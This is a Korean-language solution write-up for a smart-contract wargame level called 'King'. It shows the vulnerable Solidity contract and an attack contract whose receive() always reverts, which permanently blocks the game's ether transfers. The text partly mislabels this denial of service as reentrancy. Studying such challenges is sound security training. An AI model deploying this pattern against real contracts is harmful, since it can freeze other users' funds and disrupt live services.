// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract King {
address king;
uint public prize;
address public owner;
constructor() payable {
owner = msg.sender;
king = msg.sender;
prize = msg.value;
}
receive() external payable {
require(msg.value >= prize || msg.sender == owner);
payable(king).transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
function _king() public view returns (address) {
return king;
}
}
이 문제는 king 권한을 계속 가질 수 있냐를 보여주면 풀리는 문제이다. receive()
함수를 확인해보면 이더를 받았을 때 기존 king에게 돈을 보내주고, king이 바뀌게 된다.
하지만 처음 컨트렉트를 배포한 owner
는 언제든지 king 권한을 뻈어 올 수 있다. 하지만 문제는 receive()
함수에 패턴에서 발생한다. 이더를 송금하는 경우 송금받는 컨트렉트에 fallback으로 컨트롤 플로우가 넘어가게 되는데 이때 'Checks Effects Interactions' 패턴으로 구현하지 않을 경우 reentry 공격에 취약할 수 있다.
위 문제에서는 king
, prize
에 값을 transfer 이후에 바꾸기 때문에 악의적인 컨트렉트가 king
컨트렉트의 작동을 멈추게할 수 있다.
contract Attack {
function atk(address target) public payable{
address(target).call{value: msg.value}("");
}
receive() external payable {
revert();
}
}
다음과 같은 악의적인 컨트렉트를 만들어 문제를 해결 할 수 있다.
atk(address)
함수로 king 권한을 획득하고, fallback은 revert()
로 구현하여 transfer()
함수가 실패하게 만들면 transfer()
함수는 또 다시 revert()
를 뱉어 작동을 멈출 수 있다. 만약 transfer()
함수가 아니라 call()
함수인 경우 실패를 하더라도 나머지 코드는 실행되는 특성이 존재하는데 transfer()
함수여서 이 공격이 성공될 수 있었다.